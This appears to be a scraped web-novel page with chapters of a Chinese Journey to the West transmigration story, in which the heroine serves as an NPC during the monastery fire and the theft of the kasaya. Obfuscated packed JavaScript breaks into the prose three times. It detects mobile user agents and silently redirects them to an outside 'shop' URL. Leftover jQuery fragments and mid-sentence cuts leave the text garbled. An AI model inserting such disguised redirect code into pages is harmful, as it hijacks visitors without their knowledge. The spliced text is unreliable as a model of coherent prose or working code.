d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347395|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛苦又欢愉地翻滚起来,原本破损暗淡的鳞片簌簌脱落,紧接着,一层全新、润泽、泛着淡淡银辉的鳞甲生长而出。 随后,观音将掌心的小龙往空地上一抛。 “轰!” 一团璀璨的金光骤然炸开,刺得肖小夭闭上了眼睛。 等光芒散去,原地哪里还有什么白龙。 只见一匹神骏非凡的白马傲然挺立。浑身雪白,找不出一根杂毛,修长的鬃毛垂及膝盖,在晨风中猎猎飘动。当它用那双温润如玉的黑色眼眸看向唐僧时,竟然极其通人性地屈起前膝,跪伏下去。 唐僧大喜过望,激动得热泪盈眶,双手合十连连下拜:“多谢菩萨慈悲!多谢菩萨赐马!” 悟空站在一旁,双手抱胸,撇了撇嘴,没说话,但眼底闪过一丝赞赏。 观音看了悟空一眼,微微点头,又转向唐僧:“此马曾是西海龙宫三太子,如今化作白马,送你西行,权当脚力。你且一路保重。” 躲在树后的肖小夭看着这一幕,心里突然像长了草一样冒出一个极其强烈的念头。 那可是观音菩萨啊!活生生的真神!大慈大悲救苦救难啊! 自己在这个破系统里受了这么多折磨,要是趁现在拜一拜,许个愿,说不定菩萨能听到,大发慈悲把她送回现代呢? 心动不如行动。 她立刻闭上眼睛,双手合十,无比虔诚地在心里疯狂碎碎念: *“大慈大悲的观世音菩萨,信女肖小夭,不求大富大贵,只求您保佑我早点脱离这个见鬼的系统回到现代!保佑我别再被妖怪吃了!保佑我别再意外死亡了!阿弥陀佛阿门!”* 许完愿,她满怀希冀地睁开眼。 一抬头,差点把魂给吓飞了。 百米开外的涧边,原本正准备驾云离去的观音菩萨,此刻居然停下了动作。 她微微侧过头,那双看透世间万物的悲悯眼眸,正越过遥远的距离和重重树影,不偏不倚地落在了肖小夭的身上。 那眼神依旧温和、慈悲。 但在触及肖小夭的那一瞬间,观音那张古井无波的神脸上,极其罕见地闪过了一丝错愕,以及一丝探究的疑惑。 就好像,一台精密的扫描仪,突然扫到了一个不属于这个世界的乱码。 只是一瞬。 菩萨收回了目光,脸上再次恢复了慈眉善目的神态,脚踩祥云,冉冉升空,化作一道金光消失在天际。 肖小夭捂着狂跳的胸口,冷汗都下来了。 观音那个眼神……是什么意思?她是不是看出我不是这个世界的人了?系统会不会因此判定我暴露,直接把我抹杀?! 【系统】:……未检测到异常干预。剧情继续。 听到小西装死般的机械音,肖小夭才稍微松了口气。 此时,远处传来了“哒哒”的马蹄声。 唐僧牵着崭新的白龙马,悟空扛着金箍棒跟在旁边,师徒二人正沿着山路上坡,往这边走来。 肖小夭愣愣地站在原地,看着他们越走越近。 走到她面前时,唐僧停下脚步,微微颔首,露出一个温和的笑容。 “女施主,多谢昨日相助指点水源。贫僧这便要西去取经了,后会有期。” 肖小夭赶紧低头还礼:“举手之劳,长老一路顺风。” 唐僧点点头,牵着马继续往前走去。 悟空走在最后。当他经过肖小夭身边时,脚步突然顿了一下。 他没有转头,只是微微侧过那张毛茸茸的侧脸,用只有他们俩能听见的声音,轻飘飘地扔下三个字: “下次见。” 说完,他大摇大摆地跟着唐僧走了。 肖小夭呆立在晨风中,看着那个扛着棒子的狂妄背影越走越远,满脑子都是问号。 下次见?他怎么就这么笃定还有下次?难不成他连这系统的循环规律都摸透了?! 直到师徒俩的背影彻底消失在山路的晨雾里,肖小夭才长长地吐出一口浊气。 不管怎么说,鹰愁涧的剧情算是安全度过了。 她转身往回走。 昨晚剩下的那几匹普通的凡马,此刻还在半山坡上安安静静地啃着沾满露水的青草。 作为NPC“牧马人”,她本能地走过去,想清点一下马匹的数量,好结束今天的工作。 刚走到一匹高大的棕马身后。 不知是草丛里窜出了野兔,还是这马突然发了什么神经。 那匹刚才还温顺吃草的棕马突然受了惊,发出一声刺耳的嘶鸣,整个身体猛地扬起,两只碗口大的后蹄狠狠向后蹬出! 肖小夭瞳孔骤缩,吓得本能地想往后退。 但距离太近了,根本来不及反应。 “砰!” 一声闷响。 那重达千斤的马蹄,不偏不倚,结结实实地踹在了她的胸口上! 巨大的冲击力瞬间震碎了她的胸骨,肖小夭整个人像断了线的风筝一样往后倒飞出去,后脑勺“哐当”一声砸在了一块尖锐的石头上。 剧痛只持续了一秒,眼前便瞬间陷入了无边的黑暗。 在意识彻底消散前的最后一刻,肖小夭脑子里闪过的最后一个念头是—— *我靠……我都当着面许愿了,这菩萨是一点都不保佑啊!!!* 【系统】:检测到宿主遭受致命物理打击。生命体征归零。 【系统】:正在为您重启…… 7. 抢手的袈裟 肖小夭再次睁开眼。 没有要命的马蹄,也没有剧痛。 头顶是黑漆漆、结着蛛网的房梁。鼻腔里充斥着一股浓重的檀香味,混杂着陈年木材和受潮蜡烛的气息。耳边传来低沉的诵经声,嗡嗡嗡的,像是一大群蜜蜂在集体开会。 她低头打量自己——一身灰色的僧袍,粗布质地,洗得发白,袖口和领口都磨出了毛边。腰间随便系着根麻绳,脚上是一双旧布鞋,大脚趾那儿甚至快顶破了。 她下意识地抬手,想撩一下头发。 手掌触碰到头顶的瞬间,她整个人僵住了。 手感极其顺滑。没有发丝的阻碍,直接感受到了头皮的弧度。 光头。 光溜溜的,锃光瓦亮,一根毛都没有。 肖小夭石化了足足三秒。 【系统你大爷的!】她在心里发出了凄厉的尖叫,【就算我是个随时换皮的NPC,你也不能剥夺我作为一个女孩子的尊严吧!还我靓丽的头发啊!】 但抗议无效。她深吸了两口气,强迫自己冷静下来。 算了算了,反正这也是别人的壳子,等切号了还会长出来的,莫慌,莫慌…… 她坐起来,环顾四周。 这是一间极为简陋的下房,只有一张硬邦邦的木板床和一张掉漆的矮几。墙上挂着幅泛黄的佛像,案头供着半截快燃尽的蜡烛。 她推开门走出去。 外面是一个宽敞的院子,铺着青砖,扫得一尘不染。几棵老槐树种在墙角,叶子已经黄了,秋风一吹,落了一地。远处正殿的方向传来阵阵诵经声,还夹杂着敲木鱼的声音,笃笃笃的,节奏很稳。 几个和尚端着木盆从她身边走过,只斜眼瞥了她一下,什么也没说,继续低头走路。 肖小夭愣愣地站在院子里,一时不知道自己该干什么。 【系统】:滴——当前身份载入:观音禅院扫地僧。当前时间节点:金池长老即将见到锦襕袈裟。 【系统】:临时任务触发。剧情提示:金池长老欲谋取唐僧袈裟,今夜会放火烧毁禅房。宿主需在火起前,将此消息传递给孙悟空。 【系统】:任务完成奖励:存活时间延长,可继续使用当前身份吃瓜。任务失败:抹杀。 肖小夭愣了一下。 等等,居然有具体任务了?而且完成任务还能延长存活时间? 这破系统总算像个正经的穿越系统了。有任务总比像个没头苍蝇一样随时送死强,至少知道该干什么了。 她转身,顺手抄起靠在墙边的竹扫帚,开始装模作样地清扫这本就干净的青砖地面。 扫了没一会儿,院子正门外传来一阵喧哗。 肖小夭抬头看去。 一个白白净净、眉目如画的和尚,身披锦襕袈裟,手持九环锡杖,牵着一匹神骏异常的白马迈进门槛。 而跟在他身后的,是一个扛着铁棒、大摇大摆、毛脸雷公嘴的和尚。 唐僧。还有那只猴子。 又见面了。 肖小夭赶紧低下头,把脸藏在扫帚的阴影里,假装自己是个聋哑扫地机,只管疯狂扫地。 唐僧走到院子中央,双手合十,四处张望,像是在找管事的人。 而悟空则灵巧地一跃,蹲在了白龙马的马背上。他那条细长的尾巴在身后一晃一晃的,一双火眼金睛像雷达一样,瞬间扫过了大半个院子。 隔着十几步远,肖小夭清晰地感觉到,那道极具穿透力的目光,越过好几个和尚,精准无误地落在了自己这个灰扑扑的扫地僧身上。 那目光仿佛凝结成了实质,戳得她后背直发毛。她把头埋得更低了,一下都不敢抬。 好在不多时,正殿那边传来了动静,悟空收回了目光。 肖小夭这才长长地松了口气。 一个老和尚在两个小沙弥的搀扶下,从正殿里慢吞吞地走了出来。 他穿着一身俗气的大红袈裟,满头白发,满脸褶子,看着倒是慈眉善目的,只是眉眼间透着一股掩饰不住的精明。 他迎上唐僧,双手合十,热情得有些过分:“阿弥陀佛!贵客临门,有失远迎,有失远迎啊!” 金池长老。 肖小夭一边扫地,一边竖起耳朵偷偷观察。 金池长老将唐僧奉为上宾,客客气气地请进方丈禅房。悟空扛着棒子跟在后面,一只脚迈进门槛时,他突然停住,回过头,朝着肖小夭所在的方向,似笑非笑地瞥了一眼。 肖小夭吓得赶紧转过身去背对着他,假装在抠墙缝里的青苔。 …… 傍晚时分,肖小夭一路磨洋工,扫到了方丈禅房门口。 刚靠近,就听见里面传来金池长老颤抖的声音。 “这件袈裟……我的老天爷啊……”老和尚的声音里透着一种近乎病态的狂热,“这可是稀世的宝贝啊!老衲活了二百多岁,竟从未见过如此宝物……” 唐僧的声音依旧温和有礼,带着几分不知人间险恶的单纯:“老院主过誉了。贫僧这件袈裟,确是佛祖所赐,来历不凡……” 肖小夭停下手里的扫帚。剧情开始了,这老头看上人家的装备了。 里面突然安静了一会儿。 紧接着,金池长老猛地推开门,探出半个身子,扯着那公鸭般的嗓子,恰好指着停在门口的肖小夭。 “外面的!对,就你这个小和尚,傻站着干什么?快去茶房,给唐朝来的圣僧上等好茶!” 肖小夭一呆,指了指自己的光头:“我?我吗?” 开什么玩笑!我才刚穿过来不到半天,我连这院子的茅房在哪都不知道,我去哪给你找茶房?! 但对上金池长老那不容置喙的严厉眼神,她只能无奈地低下头:“是,弟子这就去。” 她抱着扫帚溜出院子,正巧撞上另一个行色匆匆的年轻扫地僧。她像抓住救命稻草一样拉住对方:“那个……师兄!长老要我去上茶,但我刚来不久,迷路了,你知道茶房在哪么?能不能带我去一下?” 对方明显愣了一下,像看白痴一样看了她一眼,但还是应承下来:“跟我来吧。” 肖小夭如释重负,正准备开心地跟上。 就在这时,身后突然传来一声极轻的、满含戏谑的低笑。 她头皮一麻,悄悄回头看了一眼。 只见禅房半开的窗棂后,那只猴子正单手托着腮,歪着毛茸茸的脑袋看着她。见她回头,他甚至还明目张胆地冲她挑了挑眉,嘴角的嘲弄清晰可见。 肖小夭赶紧回过头,加快脚步溜了。 …… 硬着头皮完成了上茶的跑腿任务,肖小夭像个背景板一样退到角落里,听着金池长老和唐僧继续寒暄。 “唐长老有所不知,老衲平生最爱收集袈裟,也珍藏了几百件。”金池长老死死盯着唐僧放在一旁的锦襕袈裟,那眼神仿佛长了倒钩,恨不得当场把袈裟钩进自己怀里,“但不管哪一件,都没法跟唐长老您的佛宝相提并论啊……” “老院主过奖了,万物皆是虚妄,不过是一件御寒的衣物罢了。”唐僧依旧慈眉善目。 金池长老眼珠一转,声音变得更加热切:“唐长老一路风餐露宿,实在辛苦。今晚务必在敝寺歇息,老衲定当好好款待,明日再赶路也不迟啊。” 唐僧连连道谢。 肖小夭在角落里翻了个白眼。 这老和尚,狐狸尾巴露出来了。留下过夜,好方便杀人越货是吧。 她端着空茶盘默默地退出屋子,趁着天色暗下来,慢慢往后院的僻静处走。 任务是“火起前将消息传递给孙悟空”。她得找个机会单独和那猴子接头。 刚走到后院的古井边,她就倒吸了一口凉气。 一个毛茸茸的身影,正百无聊赖地蹲在井沿上。 悟空歪着头,一双火眼金睛在暮色中闪烁着微光。那条长尾巴垂在井台外,有一搭没一搭地晃荡着。 “又见面了。”他率先开了口,声音沙哑慵懒。 肖小夭吓得往后退了一大步。 “施、施主认错人了。”她强装镇定,捏着嗓子学男声,“小僧是这院里的洒扫,今日是第一次见您。” 悟空盯着她的眼睛,嘴角慢慢勾起。 “第一次?”他轻嗤一声,“放马的,你该不会以为……把那头长头发剃了换个光头,俺老孙就不认识你了吧?” 肖小夭心头大震。 他不仅认出了她,连她上一个“鹰愁涧牧马人”的身份都记得清清楚楚! “施主说笑了。”她还在做最后的垂死挣扎,“小僧自幼出家,一直在这观音院里扫地,从未放过马。” 悟空从井台上轻巧地跃下,几步走到她面前。 距离太近了。近到她能看清他雷公嘴边细密的绒毛,能感受到他身上那种属于大妖的压迫感。 “一直?”他微微俯下身,盯着她光溜溜的脑袋,“那你刚才,怎么连自己院子的茶房在哪儿都不知道呢?还得求别人带路?” 肖小夭绝望地闭上了眼。 果然,全被他看见了。在这个自带八倍镜火眼金睛的外挂面前,她的演技连幼儿园水平都算不上。 “我……我平时只负责前院扫地,不负责倒茶……”她声音越来越小。 悟空笑了。 那笑容带着点玩味,带着点“看你怎么演”的戏谑。 “编。”他抱起双臂,“接着编。” 肖小夭彻底沉默了。 她知道瞒不过去了。这猴子猴精猴精的,她说什么他都不会信。 但她也绝不能暴露系统的存在。 “大圣,你到底想干什么?”她干脆放弃伪装,恢复了本音。 悟空挑了挑眉,似乎对她突然的坦白有些意外。 “这话该我问你。”他收起笑容,目光变得锐利,“你这般频繁地换着皮囊,一路跟着我们,到底有什么目的?” 肖小夭简直想仰天长啸。 “我能有什么目的!我也不想跟着你们啊!”她委屈得要命,“我就是个无辜的NPC,路过而已,你当我不存在行不行?” 悟空紧紧盯着她的眼睛,似乎在评估她有没有撒谎。 肖小夭被他看得心里直发毛,突然想起了自己那催命的任务。 不管了,先把任务交了再说! “那个……”她咽了口唾沫,压低声音,神秘兮兮地凑近了一点,“大圣,我其实是来给你报信的。” “金池长老看上了你师父的袈裟,他今晚打算放火烧你们的禅房,杀人越货!” 悟空定定地看了她两秒。 随后,他嘴角慢慢勾起一个了然的弧度。 “知道。”他淡淡地吐出两个字。 肖小夭愣住了。 “你……你知道?” 悟空像看傻子一样看了她一眼,嗤笑出声:“你当老孙的火眼金睛是摆设?那老秃驴看袈裟的时候,眼珠子都快掉地上了。这院子里的和尚刚才还在后院偷偷抱柴火,真当老孙闻不到那股松香味?” 肖小夭沉默了。 合着她搁这儿冒着生命危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347396|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑来剧透,人家早就开了全图视野了?! “那你打算怎么办?”她忍不住问,“带着你师父跑路?” 悟空站直了身子,伸了个懒腰,拍了拍屁股。 “跑什么?”他冷笑一声,眼底闪过一丝顽劣的凶光,“就在那儿等着。看他们烧。” 肖小夭瞪大了眼睛。 “你……你不阻止?那火一旦烧起来,你师父可是肉体凡胎!” 悟空回头瞥了她一眼,语气轻松得像是在说今晚吃什么。 “急什么。老孙自有护他的法子。我倒要看看,这火能烧成什么样。等他们烧得差不多了,老孙再顺手帮他们添点风,把这破院子全烧干净,让他们长长记性。” 肖小夭:“……” 这猴子,不仅记仇,还是个看热闹不嫌事大的主! 正殿那边传来了唐僧的呼唤:“悟空——徒儿,去哪儿了——” 悟空应了一声,准备离开。 刚走出两步,他突然停下来,回头看向愣在原地的肖小夭。 “今晚火大。”他上下打量了她那身破僧袍一眼,“晚上别睡太死。烧秃了皮,老孙可不负责救你。” 说完,他纵身一跃,轻如飞鸟般消失在墙头。 肖小夭愣在古井边。 晚上别睡太死?这是……在提醒她逃命?这猴子,是在关心她吗? …… 【系统】:滴——检测到关键信息已传达给目标。任务完成。 【系统】:奖励已发放:存活时间延长,当前“扫地僧”身份冻结,免除抹杀判定。宿主可自由行动。 听到脑海里的提示音,肖小夭悬着的心终于放了下来。 这任务虽然像个笑话,但好歹命保住了。 夜深人静。 肖小夭没敢回下房,而是偷偷溜进了一间最偏僻的柴房里。她躺在干草堆上,竖起耳朵听着外面的动静。连鞋都没敢脱,随时准备跑路。 到了后半夜,外面突然传来了极为细微的脚步声。 “沙沙沙……” 她轻手轻脚地爬起来,凑到门缝前做贼似的往外看。 借着微弱的月光,她看到十几个和尚正抱着一捆捆干柴,悄无声息地堆在唐僧居住的方丈禅房四周。金池长老披着衣服站在不远处,手里握着一个火折子,那张慈祥的老脸上此刻布满了贪婪与阴狠的狞笑。 “点火。”老和尚压低声音下令。 火苗瞬间窜起,借着夜风,干柴烈火,“轰”的一声将整个禅房包围!冲天的火光瞬间照亮了整个观音院! 肖小夭死死攥紧了拳头,紧张得连呼吸都放轻了。 就在那几个和尚准备欢呼时—— “砰!” 禅房屋顶的瓦片突然炸裂! 一道金色的身影自火海中冲天而起,随后轻飘飘地落在禅房前的空地上。 悟空手里拎着那根重达一万三千五百斤的金箍棒,随手在地上重重一顿。 “嗡——”一股肉眼可见的气浪震荡开来。 他置身于冲天的火光中,不仅没有丝毫慌乱,反而咧开嘴,冲着那群吓傻了的和尚露出了一个极其顽劣的笑容。 而他身后的那间禅房,明明被烈火包围,却仿佛被一个透明的罩子护住了一般,连一片窗户纸都没烧着! “烧啊。”悟空扛着棒子,一步步逼近,“接着烧啊。怎么停了?” “妖、妖怪啊!!!” 那几个和尚吓得肝胆俱裂,手里的火把掉了一地,连滚带爬地往院外跑。 金池长老更是脸色惨白,大叫一声,转身跌跌撞撞地逃命去了。 悟空没有追。 他站在熊熊烈火中,火光将他金色的毛发映照得如同战神降临。 他缓缓转过头,目光极其精准地越过重重火幕和院墙,看了一眼偏僻柴房的方向。 隔着门缝,肖小夭对上了他的目光。 就那么极其短暂、甚至带着一丝安抚意味的一眼。 随后他收回目光,仰头对着夜空吹了一口长长的气。 刹那间,狂风大作!风助火势,那原本只围着方丈禅房的火龙,瞬间调转方向,咆哮着席卷了观音院的其他大殿和僧房! “噼里啪啦”的燃烧声和和尚们的哭喊声响彻夜空。 肖小夭松了口气,一屁股跌坐在干草堆上。 这猴子,说到做到,真把人家老巢给烧了。 【系统】:下一剧情事件即将触发:袈裟被盗,黑熊精出现。请宿主注意安全。 肖小夭愣住了。 黑熊精?那不是明天的剧情吗?怎么今晚就…… 她还没反应过来,头顶的柴房屋顶突然传来一声沉闷的巨响! “咚!” 像是一座小山砸在了瓦片上,整个屋子都剧烈地震颤了一下。 肖小夭吓得赶紧再次贴上门缝。 只见火光映照下的院墙上,不知何时蹲着一个极其魁梧、宛如铁塔般的巨大黑影。 一个浑身漆黑的黑熊精! 他怀里紧紧抱着一个流光溢彩的包袱——正是唐僧那件引来杀身之祸的锦襕袈裟! 黑熊精四下张望了一番,确认无人发现后,发出一声粗重的得意低吼。随后他庞大的身躯竟然极为灵活地纵身一跃,化作一阵狂暴的黑风,彻底消失在了茫茫夜色之中。 肖小夭透过门缝看完这一场堪称大片的“无缝连招”,默默地在心里给大圣点了根蜡。 猴哥,你光顾着看老和尚作死,家被偷了啊。 8. 月下黑影 肖小夭死死贴在柴房的门缝上,连大气都不敢喘。 月光清冷地倾泻在观音院里,青砖地上白晃晃一片,像铺了一层惨淡的寒霜。正殿和周围禅房的大火已经渐渐熄灭,只剩下残垣断壁间还在往上冒着缕缕青烟。空气中弥漫着刺鼻的焦糊味,混杂着木材炭化的气息,呛得人嗓子发干。 她盯着那片漆黑的废墟看了很久。 然后,她看见了那个巨大的黑影。 黑熊精蹲在半塌的院墙上,背对着月光,庞大的身躯被镀上了一层森冷的银边。他那身黑毛在夜风中微微起伏,油光发亮。而他粗壮的臂弯里,正死死抱着一个包袱——包袱散开了一角,露出里面流光溢彩的锦襕袈裟。那袈裟在月下泛着诱人的佛光,像一团跳动的金色火焰。 黑熊精在墙头驻足了两秒,极其警惕地回头扫视了一圈院子,随后发出一声低沉的闷笑,庞大的身躯化作一阵狂暴的黑风,纵身一跃,彻底融入了夜色之中。 肖小夭在门后石化了。 这么快?!原著里不是说“明日”吗?这特么天还没亮呢,算哪门子的明日! 【系统】:滴——系统时间线计算模块出现轻微偏差。已修正。当前剧情线:袈裟被盗。 肖小夭在心里破口大骂:我修正你大爷!你这是轻微偏差吗?家都被偷完了! 她等了片刻。院子里死一般的寂静。没有人发现,没有人呼喊。那几个放火的和尚早就吓破了胆跑没影了,金池长老更是不知道躲进哪个老鼠洞里去了。只有穿堂风卷起几片被烤干的落叶,在青砖地上沙沙作响。 袈裟被偷了,而那个看热闹不嫌事大的猴子还不知道! 肖小夭咬了咬牙,猛地推开柴房门跑了出去。 “吱呀——”破旧的木门在死寂的夜里发出刺耳的悲鸣。她顾不上这些,双手提着过长的灰色僧袍下摆,踩着满地的灰烬和积水,跌跌撞撞地往方丈禅房跑去。 脚下的青砖被救火的水淋得湿滑,她跑得太急,脚下一个踉跄,差点一头栽进火坑里。远处不知道哪个村落传来几声凄厉的狗叫,叫了两声又戛然而止,让这夜色更添了几分诡异。 她一口气跑到方丈禅房门口。 出乎意料的是,周围的建筑都烧成了白地,唯独这间禅房虽然外墙被熏得漆黑,但主体竟然完好无损。 她扒着门框往里探头。 屋里点着半截残烛,光影摇曳。唐僧虚弱地躺在榻上,虽然没被火烧着,但显然被浓烟呛得不轻,正捂着胸口断断续续地咳嗽。 而悟空正蹲在床边。他手里捏着一块不知从哪儿找来的湿布,正极其耐心地、一下一下地给唐僧擦拭脸上熏黑的烟灰。他动作很轻,收起了所有尖锐的爪牙,和平时那副无法无天、吊儿郎当的样子判若两人。 肖小夭站在门口,愣了一下。 这是她第一次见到,齐天大圣身上流露出属于“徒弟”的温情。 “悟空!”她喘着粗气喊了一声。 悟空手上的动作一顿,猛地回头。看清是她那颗锃光瓦亮的光头后,火眼金睛里闪过一丝意外。 “怎么是你?”他站起身,微微皱眉,“不是让你别睡太死吗,怎么跑这儿来了?” 肖小夭胸口剧烈起伏,嗓子眼干得像要冒烟,声音都在发抖:“袈裟……袈裟没了!黑熊精趁乱把袈裟偷走了!” 悟空脸色骤变。 “什么?!”他猛地转头看向放包袱的桌案,果然空空如也。 他眼底瞬间腾起一股骇人的戾气:“往哪儿跑了?!” “后院!往东南方向去了!” 悟空二话不说,一脚踹开半扇烧焦的窗框,化作一道金光直接冲了出去。窗框剧烈摇晃了两下,“吧嗒”一声砸在地上,扬起一阵黑灰。 肖小夭虚脱般地靠在门框上,听着自己如雷的心跳。 床榻上传来唐僧虚弱的声音:“女、女施主……多谢你……” 肖小夭走过去,从桌上倒了杯凉茶递给唐僧。唐僧双手颤抖着接过,喝了几口,呼吸才算平稳下来。 “长老放心,”肖小夭安慰道,“大圣已经去追了,以他的通天手段,肯定能把袈裟拿回来的。” 唐僧点点头,双手合十念了句佛号,疲惫地闭上了眼睛。 肖小夭在床边的矮凳上坐下,守着这个脆弱的故事主角。 烛火跳动,将她的影子投射在熏黑的墙壁上。窗外传来几声凄厉的夜枭啼鸣,在这刚经历过火灾的古刹里,显得格外瘆人。 不知过了多久,身后突然传来极轻的脚步声。 “沙、沙……”像是粗糙的布料摩擦着青砖。 肖小夭警惕地回头,却看见一个老和尚不知何时已经站在了禅房门口。 他穿着一件洗得发白、打满补丁的破旧僧袍,手里捻着一串被盘得暗红发亮的菩提念珠。满脸深深的沟壑,一双眼睛看似浑浊,却透着一种让人无处遁形的精光。 正是昨夜在鹰愁涧半山腰,警告她“受不起因果”的那个神秘老头!只是换了身和尚的皮囊! “小师父,辛苦了。”老和尚停下捻佛珠的动作,冲她意味深长地笑了笑。 肖小夭头皮一炸,猛地站了起来:“是你?!你到底是谁?” 老和尚没有回答她的问题。他只是静静地注视着她,那浑浊的目光仿佛穿透了她光头扫地僧的壳子,看到了她那缕异界的灵魂。 “丫头,”他压低了声音,语气里带着一丝悲悯的叹息,“老朽昨夜便劝过你。这盘棋太大,因果太重。你一个局外人,别牵扯得太深。” 肖小夭死死攥紧了衣角,咬牙问道:“什么意思?什么局外人?” 老和尚摇了摇头,没有再说话。他转过身,慢吞吞地往外走去。破旧的僧袍下摆拖在地上,发出极其轻微的沙沙声。 肖小夭想追出去问个明白,但回头看了一眼还在昏睡的唐僧,她硬生生顿住了脚步。 她只能眼睁睁地看着那个背影消失在浓重的夜色里。月光将他的影子拉得极长,在拐过一段残垣时,那影子诡异地扭曲了一下,凭空消失了。 肖小夭颓然地坐回凳子上,心里乱成了一团乱麻。 这西游世界,水太深了。系统、神秘老头、还有那个似乎什么都知道的猴子……她觉得自己就像一只被困在蛛网上的飞虫,每一次挣扎都在越陷越深。 …… 一直等到后半夜,外面才传来动静。 肖小夭听见墙头一声轻响,赶紧跑出去。 悟空从墙头上跃下,稳稳落在院子里。 但他手里空空如也,什么都没拿。更罕见的是,他那根从不离手的金箍棒也没拿在手里,而是收回了耳朵里。 月光打在他身上。他没有看肖小夭,而是径直走到禅房外的台阶上,一屁股蹲了下来。 他低着头,两只毛茸茸的耳朵无精打采地耷拉着。平时那条总是耀武扬威、竖得笔直的尾巴,此刻像条失去活力的死蛇一样,软塌塌地拖在满是灰烬的地上。 整个人散发着一种极度罕见的、受了挫败的低气压。 肖小夭放轻脚步走过去,在他身边隔着半个身位坐下。 “没追上?”她试探着问。 悟空摇了摇头,没吭声。 一阵夜风吹过,卷起一片烧焦的落叶,不偏不倚地落在了他的尾巴上。如果是平时,他早就嫌弃地甩开了,但此刻,他连动都没动一下。 肖小夭看着他这副模样,心里莫名地抽了一下。 她习惯了他大闹天宫的狂傲,习惯了他逗弄她时的恶劣与戏谑。现在看他像个被人抢了心爱玩具、还打了一顿的委屈小孩一样蹲在这儿,她居然觉得有点……心疼。 沉默了很久。 悟空突然烦躁地抓了一把头上的黄毛,声音沙哑地开了口:“那头黑熊精,武艺竟和老孙不相上下。我们打了几百个回合没分胜负,那厮竟然借口说饿了要回去吃饭,把洞门一关,死活不出来了!师父的袈裟……老孙一时半会儿拿不回来。” 肖小夭愣了一下,随即在心里叹了口气。 她当然知道。黑风山黑熊精,西游记里少有的、全凭自身武力值就能和孙悟空五五开的绝世大妖。 她转头看向悟空。 月光照在他那张毛脸雷公嘴上。那双火眼金睛依然明亮,但里面却没了那种一切尽在掌握的戏谑,反而多了一丝挫败和恼怒。 她突然想起刚才在屋里,他小心翼翼给唐僧擦脸的样子。这只猴子,是真的把保护唐僧当成了自己的责任。 肖小夭心软了。 去他大爷的NPC守则吧! “我知道那头熊。”她深吸了一口气,轻声说,“那是黑风山的黑熊精。他修炼了几百年,道行极深。最重要的是……他以前经常去南海观音菩萨那里听经,和菩萨算是有点香火情分。” 悟空猛地转过头。 那一瞬间,他耷拉的耳朵“唰”地一下竖了起来,身后的尾巴也像通了电一样绷得笔直! 他眼底的低落一扫而空,取而代之的是极度的震惊、疑惑,甚至带着一丝本能的警惕。那双金眸死死盯住肖小夭:“你一个扫地的,连山门都没出过,你怎会知道这些?!” 肖小夭被他盯得浑身汗毛倒竖。 完了,剧透太多,引来这猴王起疑心了!她总不能说“我是看吴承恩老爷子写的书知道的”吧! 情急之下,她脑子一抽,破罐子破摔地伸出手,在悟空毛茸茸的胳膊上用力推了一下。 “哎呀!”她故意拔高了音量,用一种极为别扭的、带着点娇嗔的语气埋怨道,“你知道我说的是真的就行了,管我怎么知道的!问这么多干嘛,快去搬救兵啊!” 空气瞬间凝固了。 悟空被她这突如其来的一巴掌推得愣在了原地。那双火眼金睛眨了两下,看着她那颗光溜溜的脑袋和一身灰扑扑的僧袍,表情变得极其古怪。 肖小夭自己也麻了。 救命啊!她现在是个男装的光头和尚啊!一个光头和尚对着齐天大圣撒娇娇嗔……这画面太美,她自己都想自戳双目! 她赶紧低下头,脸红得像煮熟的螃蟹,假装在专心致志地拍打僧袍上的灰尘。 悟空盯着她快要埋进胸口的光头看了足足五秒。 突然,他偏过头,“哧”地一声笑了出来。那笑声越来越大,最后连肩膀都在微微耸动。那点因为丢了袈裟带来的阴霾,似乎在这一推之下,消散得无影无踪。 “行。”他止住笑意,站起身,居高临下地看着她,眼底闪烁着异样的光彩,“老孙信你。” 他反手从耳朵里抽出金箍棒,迎风一晃变成腕口粗细。 “我这就去南海找观音那老婆子算账。” 他迈出两步,正准备腾云,却又突然停下脚步,回过头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑熊精嘲弄地哼了一声。 他庞大的身躯从墙头轰然跃下。“砰!”一声巨响,地面剧烈震颤,肖小夭被震得踉跄了一下,差点摔倒。 他迈开粗壮的双腿,一步步逼近。每走一步,脚下的青砖都寸寸碎裂。 “小和尚,让开。”黑熊精居高临下地俯视着她,喷出一口腥臭的热气,“老熊我今晚心情好,不想杀生。” 肖小夭没动。 她的双腿在疯狂打摆子,手指紧紧抠住背后的门框,指甲都快折断了。系统也没有任何提示,她知道自己这副凡人之躯,在这头妖王面前连只蚂蚁都不如。 但她就是死死咬着牙,没有挪动半步。 黑熊精眼底闪过一丝不耐烦的凶光,眉头一皱。 “找死!” 他猛地抬起那只比蒲扇还大两圈的熊掌,随意地往前一挥。 那一巴掌来得太快了,快到肖小夭的视网膜只捕捉到了一道黑色的残影。 她只来得及本能地往旁边偏了一下身体。 “嘶啦——!” 锐利的利爪撕裂了粗布僧袍,如同五把锋利的钢刀,硬生生切入了她左侧的肩膀和胸膛! 剧痛。 一种无法用语言形容的、撕裂灵魂的剧痛瞬间炸开! 